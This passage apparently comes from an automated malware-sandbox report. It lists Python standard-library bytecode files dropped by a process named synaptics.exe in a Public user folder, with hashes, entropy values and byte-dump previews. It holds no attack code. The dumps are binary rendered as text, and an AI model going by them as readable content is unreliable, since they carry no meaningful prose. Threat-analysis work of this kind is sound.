Preview:	o........'-d.........................@...sl...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.i.Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.S.).z.Cache lines from Python source files...This is intended to read lines from modules imported -- hence if a filename.is not found, it will look down the module search path for a file by.that name.......N)...getline..clearcache..checkcache..lazycachec....................C...s....t.......d.S.).z.Clear the cache entirely.N)...cache..clear..r....r.....-C:\Users\Public\QExvbmVOb25l\lib\linecache.pyr........s......r....c....................C...s8...t.\|.\|...}.d.\|.....k.r.t.\|...k.r.n...d.S.\|.\|.d.....S.d.S.).z~Get a line for a Python source file from the cache.. Update the cache if it doesn't contain an entry for this file already........)...getlines..len)...filename..lineno..module_globals..linesr....r....r....r........s..............r....c....................C...sR...\|.t.v.r.t.\|...}.t.\|...d.k.r.t.\|...d...S.z.t.\|.\|...W.S...t.y(......t...

C:\Users\Public\QExvbmVOb25l\lib\pycache\locale.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	46178
Entropy (8bit):	6.062416669975893
Encrypted:	false
SSDEEP:	768:45YArctK0pztzQUB04zzRYKJFSd6tmm+a4L+P9cLjYp:I1YKGzbB04zVYAFU6x+a4aPuL8p
MD5:	B274D608C3ECDE7DBA935464C3FDD0F9
SHA1:	38CB33EE40CBDF0136CA3D8C75B647B8ABE13FD3
SHA-256:	266F757C064DCAE7C96551B88A3CDB90E04EC17D742DA25850F78E7B0E47AEA4
SHA-512:	5FCE4C23FED736A46D18ACD5242CCFB2FDF89D6BBE917E46B71A27AC0ED07B4A9B0C575537C953384D95A4EFD3D80E8485F64B485A8948C2B309B2F8ED92B13D
Malicious:	false
Reputation:	low
Preview:	o........'-d.8.......................@...sF"..d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.g.d...Z.d.d...Z.d.d...Z.z.d.d.l.T.W.n%..e.yW......d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.Z.d.d...Z...d.d.d...Z.Y.n.w.d.e...v.r_e.Z.d.e...v.rfe.Z.e.Z.i.Z.e.. e...d.d.....Z.d.d...Z!..d.d.d...Z"d.d...Z#e..$d...Z%..d.d d!..Z&..d.d"d#..Z'..d.d$d%..Z(..d.d&d'..Z)..d.d)d..Zd+d,..Z.d-d...Z+..d.d/d0..Z,e-f.d1d2..Z.d3d4..Z/d5d6..Z0e.Z1d7d8..Z2d9d:..Z3d;d<..Z4d=d>..Z5d?d@..Z6..d.dBdC..Z7e.f.dDdE..Z8..d.dFd...Z.e.f.dGdH..Z9z.d.dIl.m:Z:..W.n...e...y.......dJdK..Z:Y.n.w.z.e;..W.n...e<..y.........d.dLdM..Z=Y.n.w...d.dNdM..Z=i.dOdP..dQdP..dRdS..dTdU..dVdU..dWdX..dYdZ..d[d\..d]d^..d_d`..dadS..dbdc..ddde..dfdg..dhdS..didS..djdS..i.dkdl..dmdn..dodp..dqdr..dsdg..dtdu..dvdc..dwdx..dydz..d{de..d\|d}..d~d...d.d...d.d...d.dU..d.d...d.d.....dXd.d.d.d.d.d.d\d^d`d.....Z>e?e>.@....D.].\.ZAZBeA.Cd.d...ZAe>.DeAeB......q.i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...

C:\Users\Public\QExvbmVOb25l\lib\pycache\lzma.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	12113
Entropy (8bit):	5.3787135439915765
Encrypted:	false
SSDEEP:	192:d+KxmpkRLMC//oP1UHyszdKXnoGwKjwmAKa09hs4Nr:Tmo2UHtgNAKl9hs45
MD5:	F0EC866C8A861B5EBCCC780C4C0516C8
SHA1:	5656D5D52C3FE4DAC8D76B54CA58E44E7BC42F21
SHA-256:	CE6E5F552D93BA306C74107AAEF541F687BCA9646F4BE7BAFE01B2D60C59C199
SHA-512:	4AEBBC089A2FC56D9096564EC9B071EAC17A89C79A51FB74A3C7F72C7C7CCA5112F3EB66BE9501BDB9BCF77D4A10A677FA5877D429452C072A6329FF233B62D0
Malicious:	false
Reputation:	low
Preview:	o........'-dA5.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.d.l.m.Z.m.Z...d.d.l.Z.d.Z.d.Z.d.Z.G.d.d...d.e.j...Z.d.d.d.d.d.d.d.d.d...d.d...Z.e.d.d.d.f.d.d...Z.e.d.d.f.d.d...Z.d.S.).aS...Interface to the liblzma compression library...This module provides a class for reading and writing compressed files,.classes for incremental (de)compression, and convenience functions for.one-shot (de)compression...These classes and functions support both the XZ and legacy LZMA.container formats, as well as raw compressed data streams..)$Z.CHECK_NONEZ.CHECK_CRC32Z.CHECK_CRC64Z.CHECK_SHA256Z.CHECK_ID_MAXZ.CHECK_UNKNOWNZ.FILTER_LZMA1Z.FILTER_LZMA2Z.FILTER_DELTAZ.FILTER_X86Z.FILTER_IA64Z.FILTER_ARMZ.FILTER_ARMTHUMBZ.FILTER_POWERPCZ.FILTER_SPARC..FORMAT_AUTO..FORMAT_XZZ.FORMAT_ALONEZ.FORMAT_RAWZ.MF_HC3Z.MF_HC4Z.MF_BT2Z.MF_BT3Z.MF_BT4Z.MODE_FASTZ.MODE_NORMALZ.PRESET_DEFAULTZ.PRESET_EXTREME..LZMACompressor..LZMADecompressor..LZMAFile..LZMAError..open..compress..decompressZ.is_c

C:\Users\Public\QExvbmVOb25l\lib\pycache\mimetypes.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	17632
Entropy (8bit):	5.6765285238011005
Encrypted:	false
SSDEEP:	384:mmMcSuUoigjrH1V19yB/sWG5D+nTF+jZjB77rXw0:mjzgl0sWm4+jZjNw0
MD5:	0FFA9621297DF9C739DF2A54F70FE8D2
SHA1:	E055F51463CE120828108430A099D1572CAB5373
SHA-256:	3535E9E66B1D7C49133B8FE5F24EDB63AF49DEDEA4660646FEB4DAFC6EB624B3
SHA-512:	D9C3A26B78EDCED15672746E5C7C929E3572AE2DF7C5B59AC6363951C8437E0E4C16704CBCF5C9B419B6604C405D2C6F1B6D63B913518EE185CF067426EFB096
Malicious:	false
Reputation:	low
Preview:	o........'-d.Z.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.m.Z...W.n...e.y%......d.Z.Y.n.w.z.d.d.l.Z.W.n...e.y7......d.Z.Y.n.w.g.d...Z.g.d...Z.d.a.d.a.G.d.d...d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.e.....d.d...Z.e.d.k.r\|e.....d.S.d.S.).a....Guess the MIME type of a file...This module defines two useful functions:..guess_type(url, strict=True) -- guess the MIME type and encoding of a URL...guess_extension(type, strict=True) -- guess the extension for a given MIME type...It also contains the following, for tuning the behavior:..Data:..knownfiles -- list of files to parse.inited -- flag set when init() has been called.suffix_map -- dictionary mapping suffixes to suffixes.encodings_map -- dictionary mapping suffixes to encodings.types_map -- dictionary mapping suffixes to types..Functions:..init([files]) -- parse a list of files, default knownfiles (on Windows, the. default values are taken from the registry).read_mime_types(

C:\Users\Public\QExvbmVOb25l\lib\pycache\netrc.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3946
Entropy (8bit):	5.481114302614267
Encrypted:	false
SSDEEP:	96:88lwQqPqiKqqHW7Nd5pqKHQwmHv35UmyhWqgv0+USVqtnqqgqhy:888Pq/qq27NVqKleemdq8LvVqtnqqgqU
MD5:	2DB8CC3CB04A17FFE46180922A151DE8
SHA1:	0D9A07B50F1DE042A956ADC70A6DAD9B0D82C05D
SHA-256:	8E42195C5ED61254F2CDC78EC49CBB5016DD33466BC2CDEFA22C26A431B21C0E
SHA-512:	9BF44DF143A974B3EBA26A3D4A4C5836D3117A37F3F24956F4CCA025E115F7801A7D5F039DFBEB4C3E84C25826C3C1DB363936FDF0494ECD7282BCAC2E4706AD
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s\...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.g.Z.G.d.d...d.e...Z.G.d.d...d...Z.e.d.k.r,e.e.......d.S.d.S.).z-An object-oriented interface to .netrc files......N..netrc..NetrcParseErrorc....................@...s"...e.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.S.).r....z5Exception raised on syntax errors in the .netrc file.Nc....................C...s"...\|.\|._.\|.\|._.\|.\|._.t...\|.\|.....d.S...N)...filename..lineno..msg..Exception..__init__)...selfr....r....r......r.....)C:\Users\Public\QExvbmVOb25l\lib\netrc.pyr........s............z.NetrcParseError.__init__c....................C...s....d.\|.j.\|.j.\|.j.f...S.).Nz.%s (%s, line %s)).r....r....r....).r....r....r....r......__str__....s......z.NetrcParseError.__str__).NN)...__name__..__module__..__qualname__..__doc__r....r....r....r....r....r....r........s............c....................@...s....e.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).r....Nc....................C...s....\|.d.u.}.\|.d.u.r.t.j...t.j...d...d...}.i.\|._.i.\|._.

C:\Users\Public\QExvbmVOb25l\lib\pycache\ntpath.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	15316
Entropy (8bit):	5.432888374451387
Encrypted:	false
SSDEEP:	384:H7fr8V5t+X9xyFga+mDB8s+qHe65jZBCrF++umt:zra/WkFga+mDGs+hsZwrF++umt
MD5:	0F8E4B2E2CB1397CCD71C4EB289956F1
SHA1:	748BFEB3058F7C372076F0CF0DB9B8E8B2CAABBF
SHA-256:	7113CC19BEC27EF04C4399726A6C2C091F14F6FAAA17F08B783F917969259136
SHA-512:	0E66B08CD8388FD5B168BA76BD506D1A5EC0E33EC0614ADC69120CB5CF815163ADEBC1DD17F9CB842CBB3136FD18C873C14B0702B325AE1DF7A3C2F2CB3C4D2E
Malicious:	false
Reputation:	low
Preview:	o........'-dov.......................@...s....d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.g.d...Z.d.d...Z.z.d.d.l.m.Z.m.Z.m.Z...d.d...Z.W.n...e.yK......d.d...Z.Y.n.w.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.j.j.e._.d.d...Z.d.d...Z.d d!..Z d"d#..Z!z.d.d$l"m#Z#..W.n...e.y.......d.Z#Y.n.w.d%d&..Z$d'd(..Z%d)d..Z&d+d,..Z'd-d...Z(z.d.d/l"m)Z)..W.n...e.y.......e(ZY.n.w.d0d1..Zz.d.d2l"m+Z+m,Z-..W.n...e.y.......eZ.Y.n.w.d3d4..Z/d5d6..Z0d7d8..d9d:..Z.e1e.d;..o.e..2..d<..d=k.Z3dCd>d?..Z4d@dA..Z5z.d.dBl"m6Z7..W.d.S...e...y.......Y.d.S.w.)Dz.Common pathname manipulations, WindowsNT/95 version...Instead of importing this module directly, import os and refer to this.module as os.path...........\..;../z..;C:\binZ.nul.....N)...*)&..normcase..isabs..join..splitdrive..split..splitext..basename..dirnameZ.commonprefixZ.getsizeZ.getmtimeZ.getatimeZ.getctime..islink..exists..lexists..isdir..isfile..ismount..expanduser..expandvars..normpath..abspath..curdir..pardir..sep..p

C:\Users\Public\QExvbmVOb25l\lib\pycache\nturl2path.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1760
Entropy (8bit):	5.538011062591141
Encrypted:	false
SSDEEP:	48:k5kKoXsYZdrK2ESp8ItqhhhUIuoLpP0I2GIikGmObMn:khoP27OqhDaodpkwbMn
MD5:	81520F63E7DF46A697FEE0536AA837B5
SHA1:	CD0FB6EE01CAE81DAF3043BC4A227AD734EB39AD
SHA-256:	0F5CC130E8A14F2EDB9FEA8F3BAA237E8BC82179DE62EDD8642A78F62D99E5A9
SHA-512:	28623B981EC47A82691757C1CD5706CCFE42386094BFC546681FDEDC371E9C6F91A989006FF7866EDBA6433AA9217BD7FDF4F86B03F3804DBAFBA3AB720D8DA0
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.d.d...Z.d.d...Z.d.S.).z.Convert a NT pathname to a file URL and vice versa...This module only exists to provide OS-specific code.for urllib.requests, thus do not use directly..c....................C...s....d.d.l.}.d.d.l.}.\|...d.d...}.d.\|.v.r.\|.d.d.....d.k.r \|.d.d.....}.\|...d...}.\|.j...d...\|.....S.\|...d...}.t.\|...d.k.sB\|.d...d...\|.j.v.rJd.\|...}.t.\|.....\|.d...d.......}.\|.d.....d...}.\|.d...}.\|.D.].}.\|.rm\|.d...\|.j...\|.....}.q_\|...d...r\|\|...d...r\|\|.d.7.}.\|.S.).z{OS-specific conversion from a relative URL of the 'file' scheme. to a file system path; not recommended for general use......N..:..\|.....z.////......./..\.....z.Bad URL: .....)...string..urllib.parse..replace..split..parse..unquote..join..len..ascii_letters..OSError..upper..endswith)...urlr......urllib..components..comp..error..drive..path..r......C:\Users\Public\QExvbmVOb25l\lib\nturl2path.py..url2pathname....s*.............................................r....c..................

C:\Users\Public\QExvbmVOb25l\lib\pycache\opcode.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5460
Entropy (8bit):	5.65097332605992
Encrypted:	false
SSDEEP:	96:ksgyb2Y4AiIw0UEDJdWz1NA/DFi1foNC3SdGCDO1WnOhf:sySYRRDXfk1fb3H3WnOhf
MD5:	A1F717CA67735A72710BD3439E9955CF
SHA1:	8EE5BE0608514136D154D43AF6664B8B3B1E0459
SHA-256:	416E2820E3BCF8080A5E875AA12A44AE14811B96838AC510213F3EC87A7A632B
SHA-512:	07010B285348A2DCA17415F52660D9DD14C86D3999436DF8C569FB3395B1A75BAC41C67EB752222271D6931E2CEA01F5086D344255D4177B3FBA6E90AD8F5928
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s"...d.Z.g.d...Z.z.d.d.l.m.Z...e...d.....W.n...e.y.......Y.n.w.d.Z.g.Z.g.Z.g.Z.g.Z.g.Z.g.Z.g.Z.g.Z.i.Z.d.d...e.d...D...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d ....e.d!d"....e.d#d$....e.d%d&....e.d'd(....e.d)d*....e.d+d,....e.d-d.....e.d/d0....e.d1d2....e.d3d4....e.d5d6....e.d7d8....e.d9d:....e.d;d<....e.d=d>....e.d?d@....e.dAdB....e.dCdD....e.dEdF....e.dGdH....e.dIdJ....e.dKdL....e.dMdN....e.dOdP....e.dQdR....e.dSdT....e.dUdV....e.dWdX....e.dYdZ....e.d[d\....e.d]d^....e.d_d`....e.dadb....e.dcdd....e.dedf....e.dgdh....e.didj....e.dkdl....e.dmdn....e.dodp....e.dqdr....e.dsdt....e.dudv....e.dwdx....e.dydz....e.d{d\|....e.d}d~....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....d.Z.e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e...d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.

C:\Users\Public\QExvbmVOb25l\lib\pycache\operator.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	13521
Entropy (8bit):	4.8472579053762095
Encrypted:	false
SSDEEP:	192:+25I4L+Hse0C1/u2/DqnsvQgZ2CsisKoVk7tlipYMpA+B8eLq4UZfm:N5FeTs2rwejZ2CMKoqt0pYkTSeLAfm
MD5:	E2BA5911F122B550E81AC86DDDA18323
SHA1:	5085ADF53848BC58EDF161DBA1236A08ACF18A9D
SHA-256:	51EDAB5A122589B0B38AB0019101C85618BDC1C23510EA8C69436BD69482A292
SHA-512:	0B60C4E44E3E0AE284B8A400F35AD8B0E2C64B3318D7B38D96969BA593BF72DB64A1F392380AED49288B422C718033718ED64662A0D74157592F40D26D36DA2E
Malicious:	false
Reputation:	low
Preview:	o........'-d.+.......................@...s....d.Z.g.d...Z.d.d.l.m.Z...d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.e.Z.d$d%..Z.d&d'..Z.d(d)..Z.dd+..Z.d,d-..Z.d.d/..Z.d0d1..Z.d2d3..Z.d4d5..Z.d6d7..Z.d8d9..Z.d:d;..Z d<d=..Z!d>d?..Z"d@dA..Z#dBdC..Z$dDdE..Z%dFdG..Z&dHdI..Z'dqdJdK..Z(G.dLdM..dM..Z)G.dNdO..dO..ZG.dPdQ..dQ..Z+dRdS..Z,dTdU..Z-dVdW..Z.dXdY..Z/dZd[..Z0d\d]..Z1d^d_..Z2d`da..Z3dbdc..Z4ddde..Z5dfdg..Z6dhdi..Z7djdk..Z8dldm..Z9z.d.dnl:T.W.n...e;y.......Y.n.w.d.dol:m.Z...e.Z<e.Z=e.Z>e.Z?e.Z@e.ZAe.ZBe.ZCe.ZDe.ZEe.ZFe.ZGe.ZHe.ZIe.ZJe.ZKe.ZLe.ZMe.ZNe.ZOe.ZPe.ZQe.ZRe.ZSe.ZTe ZUe!ZVe"ZWe$ZXe%ZYe'ZZe,Z[e-Z\e.Z]e/Z^e0Z_e1Z`e2Zae3Zbe4Zce5Zde6Zee7Zfe8Zge9ZhdpS.)ras....Operator Interface..This module exports a set of functions corresponding to the intrinsic.operators of Python. For example, operator.add(x, y) is equivalent.to the expression x+y. The function names are those used for special.methods; variants

C:\Users\Public\QExvbmVOb25l\lib\pycache\os.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	31612
Entropy (8bit):	5.452333319472934
Encrypted:	false
SSDEEP:	768:mZz401oaK+W0l85fOHqjQmZxhVQIuA5+LBL3L8LOULOLwvLdLtg4aE2aYiZ9:QbK+WHaKQmZBw2LN2Y
MD5:	05C6AD7B193923DA42B23DE4C5D27502
SHA1:	C729C38E7BC62983418230B605AE4A041C0A9456
SHA-256:	6D359A390187883352FC1A84986B3437E4FCA870A5DC48E86E0421A5651E035D
SHA-512:	FBFB81DCEC893FDAC516DE1839D891476C6BA149224983732DB857FC612707F65FBC5372DCEC911B7046CACEDA5DEC687D08D20182992B340D3B2A63B9832A25
Malicious:	false
Reputation:	low
Preview:	o........'-d........................@...sh...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e.e.e.....Z.e.j.Z.g.d...Z.d.d...Z.d.d...Z.d.e.v.rod.Z.d.Z.d.d.l.T.z.d.d.l.m.Z...e...d.....W.n...e.yK......Y.n.w.d.d.l.Z.z.d.d.l.m.Z...W.n...e.ya......Y.n.w.d.d.l.Z.e...e.e.......[.nId.e.v.r.d.Z.d.Z.d.d.l.T.z.d.d.l.m.Z...e...d.....W.n...e.y.......Y.n.w.d.d.l.Z.d.d.l.Z.e...e.e.......[.z.d.d.l.m.Z...W.n...e.y.......Y.n.w.e.d.....e.e.j.d.<.d.d.l.m.Z.m.Z.m Z m!Z!m"Z"m#Z#m$Z$m%Z%..[.e.d.....r.e&..Z'd.d...Z(e)..Ze(d.d.....e(d.d.....e(d.d.....e(d.d.....e(d.d ....e(d!d"....e(d#d$....e(d%d&....e(d'd(....e(d)d....e(d+d,....e(d-d.....e(d/d0....e(d1d2....e(d1d3....e(d4d ....eZ+e)..Ze(d.d.....eZ,e)..Ze(d5d6....e(d7d.....e(d8d.....e(d9d:....e(d9d;....e(d<d=....e.-e.....e(d>d?....e(d@d ....e(dAd ....e(dBdC....e.dD....r.e.dE....r.e(dFdD....eZ.e)..Ze(d.d.....e(d.d.....e(d.d.....e(dGdH....e(dId.....e.dJ....r.e(dKd.....e(d!d"....e(dLd ....e(dMd.....e(d.d.....e(d4d ....e(dNd.....eZ/[*[.['[(d.Z0dOZ1dPZ2d.dSdT..Z3

C:\Users\Public\QExvbmVOb25l\lib\pycache\pathlib.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	42065
Entropy (8bit):	5.237215862260339
Encrypted:	false
SSDEEP:	768:e8Hqw6XgaOSKyzD3ZslxWCPnN3v5HgAgRDTMJ68UH73dT0Lgp4oMcce2A6VJSWm+:rKw6XL3MvPnN3v5HgAmDTMK7N8gpjMiS
MD5:	3EC451FF867C95E804CA7AA5C5153252
SHA1:	DC24647C76DD88F0776CED2DAFA4351593CFB051
SHA-256:	42BEBB1BFAE2E94F975D16BFC61CDEEE67F207901D22A1C5BE0807F2C57BA8A7
SHA-512:	E82C01DC93FF9B617758E9B120C6EB8A5DABA3D59D50D7451917C700746D92652D6D81FD82A79CB87C33971393CD470E1F5601F12D7B8BD0D73FEBEB4B938F99
Malicious:	false
Reputation:	low
Preview:	o........'-d\........................@...s4...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...g.d...Z.d.Z.d.Z d.Z!e.e.e.e.f.Z"e.e e!f.Z#d.d...Z$d.d...Z%G.d.d...d.e&..Z'G.d.d...d.e'..Z(G.d.d...d.e'..Z)e(..Ze)..Z+G.d.d...d...Z,G.d.d...d.e,..Z-e-..Z.d.d...Z/e0e.d...r.e..1..e/..Z/G.d.d...d...Z2G.d.d...d...Z3G.d d!..d!e2..Z4G.d"d#..d#e2..Z5G.d$d%..d%e2..Z6G.d&d'..d'e...Z7G.d(d)..d)e&..Z8e.j9.:e8....G.dd+..d+e8..Z;G.d,d-..d-e8..Z<G.d.d/..d/e8..Z=G.d0d1..d1e=e;..Z>G.d2d3..d3e=e<..Z?d.S.)4.....N)...Sequence)...EINVAL..ENOENT..ENOTDIR..EBADF..ELOOP)...attrgetter)...S_ISDIR..S_ISLNK..S_ISREG..S_ISSOCK..S_ISBLK..S_ISCHR..S_ISFIFO)...quote_from_bytes)...PurePath..PurePosixPath..PureWindowsPath..Path..PosixPath..WindowsPath......{...i....c....................C...s ...t.\|.d.d...t.v.p.t.\|.d.d...t.v.S.).N..errno..winerror)...getattr.._IGNORED_ERROS.._IGNORED_WINERRORS)...except

C:\Users\Public\QExvbmVOb25l\lib\pycache\platform.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	27442
Entropy (8bit):	5.5904468658757756
Encrypted:	false
SSDEEP:	768:fB4j93Ho+Dvz6WYt08jHUgRyRj4/ISTvI9nI6xk4laOXN4Ww:fB293oEbq089oRjnuunI6xs64F
MD5:	9C44045E27B703DD587BA21D5F1AB6E8
SHA1:	64B2BECA35332487D8808CAD39A3CC2B4056F41E
SHA-256:	6FC6D0204E0E7C651F37DBD5856691A8F97C5DC28A0D97B7F8789A095813E60F
SHA-512:	81232D31A22D42B2CF9CBD4FB7463AE61882F3C05B83D4FA9F9FF83ACBAA2636D5B5FBBE0966C60E73236E037EB6E83C1B582A7E89547F0C1FD5C427D2172433
Malicious:	false
Reputation:	low
Preview:	o........'-dH........................@...s....d.Z.d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.d.d.d.d.d.d.d.d.d...Z.e...d...Z.d.d...Z.e...d.e.j...Z.d.d.d...Z.d.d.d...Z.e...d...Z.....d.d.d...Z.d.d.d.d.d.d.d d!d"d#d$d%..Z.d.d&d'd(d)dd+..Z.d,d-..Z.d.d/..Z.d.d0d1..Z.d2d3..Z.d.d5d6..Z.d7d8..Z.d.d9d:..Z.d;d<..Z.d=d>..Z.d.d?d@..Z.dAdB..Z d.dCdD..Z!dEdFdGd...Z"e.j#d.d.f.dHdI..Z$dJdK..Z%G.dLdM..dM..Z&dNdO..Z'G.dPdQ..dQe..(dRdS....Z)d.adTdU..Z+dVdW..Z,dXdY..Z-dZd[..Z.d\d]..Z/d^d_..Z0d`da..Z1e...dbe.j...Z2e...dce.j...Z3e...dd..Z4e...de..Z5i.Z6d.dfdg..Z7dhdi..Z8djdk..Z9dldm..Z:dndo..Z;dpdq..Z<drds..Z=dtdu..Z>i.Z?d.dvdw..Z@e...dx..ZAe...dy..ZBdzZCd.aDd{d\|..ZEd}d~..ZFeGd.k...rjd.e.jHv...pPd.e.jHv.ZId.e.jHv...o[d.e.jHv.ZJeKe@eJeI......e..Ld.....d.S.d.S.).a8... This module tries to retrieve as much platform-identifying data as. possible. It makes this information available via function APIs... If called from the command line, it prints the platform. information conca

C:\Users\Public\QExvbmVOb25l\lib\pycache\posixpath.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	10543
Entropy (8bit):	5.329830288433104
Encrypted:	false
SSDEEP:	192:rhb0oiAyslc6Yc5JJ0kMz8g1z37oItrg2spGuDbTM0tNWCEZC:rhGALlTYc5JJ5Itr5spLbo0bdEZC
MD5:	ED7B716AC49D014F45DB67389B884E17
SHA1:	84BE6DCFFB42D7D23DDB93508F72711B7B1039B6
SHA-256:	561092F9C0742C62FC028AEA5367683355F0C3ACDE2B82EEE391744791944779
SHA-512:	39E8AAEE5B0E976D264FA65225164695F2C86C2A00C697A11D8D2ABDD24C77FB1C59FC77EF75118A8DCE351C2F43F5B2C9844C676802394635A94AA011E20609
Malicious:	false
Reputation:	low
Preview:	o........'-d.A.......................@...s....d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.j.j.e._.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d ..Z.d!d"..Z.d#d$..Z.d.a.d.a.d%d&..Z.d'd(..Z.d)d..Z d+d,..d-d...Z!d/d0..Z"e.j#d1k.Z$d6d2d3..Z%d4d5..Z&d.S.)7a....Common operations on Posix pathnames...Instead of importing this module directly, import os and refer to.this module as os.path. The "os.path" name is an alias for this.module on Posix systems; on other systems (e.g. Windows),.os.path provides the same operations in a manner specific to that.platform, and is an alias to another module (e.g. ntpath)...Some of this can actually be useful on non-Posix systems too, e.g..for manipulation of the pathname component of URLs.........../..:z./bin:/usr/binNz./dev/null.....)...)&..normcase..isabs..join..splitdrive..split..splitext..basename..dirname..commonprefix..getsize..getmtime..getatime..getctime..islink..exis

C:\Users\Public\QExvbmVOb25l\lib\pycache\queue.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	10805
Entropy (8bit):	5.079570093380288
Encrypted:	false
SSDEEP:	192:ru+pM4yfRWdufeC/PBbEy6LWf1eR/i9Z6/cWyfmrAX/I8:i+pMrQdufd/PBbEy6LWdeo9s/PyfmrCP
MD5:	C48B7CDFD1CFA56D6EF1E7AED1C7824A
SHA1:	F503E6ED09B6280337E6317635098CDD140F798B
SHA-256:	23816DCA459DC697D02A4AD13630DC6060F16CD531425D91AF2AB09D83D13D1E
SHA-512:	3C3972010B9218403909383BDD8852BEFDC6F49036EAFE16FD4D0CF46454FC443D51F24351D95D2C8821E162D26BD682EF8C78EF4836FB292D015FAD102D58C9
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.y1......d.Z.Y.n.w.g.d...Z.z.d.d.l.m.Z...W.n...e.yO......G.d.d...d.e...Z.Y.n.w.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d...Z.e.d.u.r~e.Z.d.S.d.S.).z'A multi-producer, multi-consumer queue......N)...deque)...heappush..heappop)...monotonic)...SimpleQueue)...Empty..Full..Queue..PriorityQueue..LifoQueuer....).r....c....................@........e.Z.d.Z.d.Z.d.S.).r....z4Exception raised by Queue.get(block=0)/get_nowait().N....__name__..__module__..__qualname__..__doc__..r....r.....)C:\Users\Public\QExvbmVOb25l\lib\queue.pyr...................r....c....................@...r....).r....z4Exception raised by 